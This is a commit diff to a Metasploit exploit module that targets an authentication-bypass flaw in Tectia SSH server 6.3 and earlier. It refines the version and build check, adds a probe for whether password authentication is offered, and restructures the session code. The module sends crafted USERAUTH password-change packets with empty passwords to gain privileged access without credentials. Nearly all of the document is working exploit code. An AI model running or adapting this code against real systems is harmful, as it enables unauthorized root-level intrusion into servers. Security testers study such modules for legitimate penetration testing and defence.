Merge remote branch 'wchen-r7/better_tectia_ssh'

unstable 4.5.0
Tod Beardsley 2012-12-06 11:01:36 -06:00
commit 215017e17c
1 changed files with 82 additions and 61 deletions

View File

@ -48,7 +48,7 @@ class Metasploit3 < Msf::Exploit::Remote
'Arch' => ARCH_CMD,
'Targets' =>
[
['Unix-based Tectia SSH 6.3.2.33 or prior', {}],
['Unix-based Tectia SSH 6.3 or prior', {}]
],
'Privileged' => true,
'DisclosureDate' => "Dec 01 2012",
@ -63,7 +63,6 @@ class Metasploit3 < Msf::Exploit::Remote
register_advanced_options(
[
OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]),
OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30])
]
)
@ -71,11 +70,43 @@ class Metasploit3 < Msf::Exploit::Remote
def check
connect
banner = sock.get_once
print_status("#{rhost}:#{rport} - #{banner}")
banner = sock.get_once.strip
print_status("#{rhost}:#{rport} - Banner: #{banner}")
disconnect
return Exploit::CheckCode::Appears if banner =~ /SSH Tectia/
# Vulnerable version info obtained from CVE
version = banner.scan(/\-(\d\.\d\.\d*).+SSH Tectia/).flatten[0] || ''
build = version.split('.')[-1].to_i
case version
when /^6\.0/
unless (4..14).include?(build) or (17..20).include?(build)
return Exploit::CheckCode::Safe
end
when /^6\.1/
unless (0..9).include?(build) or build == 12
return Exploit::CheckCode::Safe
end
when /^6\.2/
unless (0..5).include?(build)
return Exploit::CheckCode::Safe
end
when /^6\.3/
unless (0..2).include?(build)
return Exploit::CheckCode::Safe
end
else
return Exploit::CheckCode::Safe
end
# The vulnerable version must use PASSWORD method
user = Rex::Text.rand_text_alpha(4)
transport, connection = init_ssh(user)
return Exploit::CheckCode::Vulnerable if is_passwd_method?(user, transport)
return Exploit::CheckCode::Safe
end
@ -87,54 +118,41 @@ class Metasploit3 < Msf::Exploit::Remote
datastore['RPORT']
end
#
# This is where the login begins. We're expected to use the keyboard-interactive method to
# authenticate, but really all we want is skipping it so we can move on to the password
# method authentication.
#
def auth_keyboard_interactive(user, transport)
print_status("#{rhost}:#{rport} - Going through keyboard-interactive auth...")
auth_req_pkt = Net::SSH::Buffer.from(
:byte, 0x32, #userauth request
:string, user, #username
:string, "ssh-connection", #service
:string, "keyboard-interactive", #method name
:string, "", #lang
:string, ""
)
user_auth_pkt = Net::SSH::Buffer.from(
:byte, 0x3D, #userauth info
:raw, 0x01, #number of prompts
:string, "", #password
:raw, "\0"*32 #padding
)
transport.send_message(auth_req_pkt)
def is_passwd_method?(user, transport)
# A normal client is expected to send a ssh-userauth packet.
# Without it, the module can hang against non-vulnerable SSH servers.
transport.send_message(transport.service_request("ssh-userauth"))
message = transport.next_message
vprint_status("#{rhost}:#{rport} - Authentication to continue: keyboard-interactive")
message = transport.next_message
vprint_status("#{rhost}:#{rport} - Password prompt: #{message.inspect}")
# USERAUTH INFO
transport.send_message(user_auth_pkt)
message = transport.next_message
vprint_status("#{rhost}:#{rport} - Auths that can continue: #{message.inspect}")
2.times do |i|
#USRAUTH REQ
transport.send_message(auth_req_pkt)
message = transport.next_message
vprint_status("#{rhost}:#{rport} - Password prompt: #{message.inspect}")
# USERAUTH INFO
transport.send_message(user_auth_pkt)
message = transport.next_message
vprint_status("#{rhost}:#{rport} - Auths that can continue: #{message.inspect}")
# 6 means SERVICE_ACCEPT
if message.type != 6
print_error("Unexpected message: #{message.inspect}")
return false
end
end
# We send this packet as an attempt to see what auth methods are available.
# The only auth method we want is PASSWORD.
pkt = Net::SSH::Buffer.from(
:byte, 0x32, #userauth request
:string, user, #username
:string, "ssh-connection", #service
:string, "password" #method name
)
pkt.write_bool(true)
pkt.write_string("") #Old pass
pkt.write_string("") #New pass
transport.send_message(pkt)
message = transport.next_message
# Type 51 means the server is trying to tell us what auth methods are allowed.
if message.type == 51 and message.to_s !~ /password/
print_error("#{rhost}:#{rport} - This host does not use password method authentication")
return false
end
return true
end
#
# The following link is useful to understand how to craft the USERAUTH password change
@ -155,7 +173,7 @@ class Metasploit3 < Msf::Exploit::Remote
transport.send_message(pkt)
message = transport.next_message.type
vprint_status("#{rhost}:#{rport} - Auths that can continue: #{message.inspect}")
print_status("#{rhost}:#{rport} - Auths that can continue: #{message.inspect}")
if message.to_i == 52 #SSH2_MSG_USERAUTH_SUCCESS
transport.send_message(transport.service_request("ssh-userauth"))
@ -169,23 +187,26 @@ class Metasploit3 < Msf::Exploit::Remote
end
end
def do_login(user)
opts = {:user=>user, :record_auth_info=>true}
def init_ssh(user)
opts = {:user=>user, :record_auth_info=>true, :port=>rport}
options = Net::SSH::Config.for(rhost, Net::SSH::Config.default_files).merge(opts)
transport = Net::SSH::Transport::Session.new(rhost, options)
connection = Net::SSH::Connection::Session.new(transport, options)
auth_keyboard_interactive(user, transport)
userauth_passwd_change(user, transport, connection)
return transport, connection
end
def do_login(user)
transport, connection = init_ssh(user)
passwd = is_passwd_method?(user, transport)
if passwd
conn = userauth_passwd_change(user, transport, connection)
return conn
end
end
def exploit
# Our keyboard-interactive is specific to Tectia. This allows us to run quicker when we're
# engaging a variety of SSHD targets on a network.
if check != Exploit::CheckCode::Appears
print_error("#{rhost}:#{rport} - Host does not seem vulnerable, will not engage.")
return
end
c = nil
begin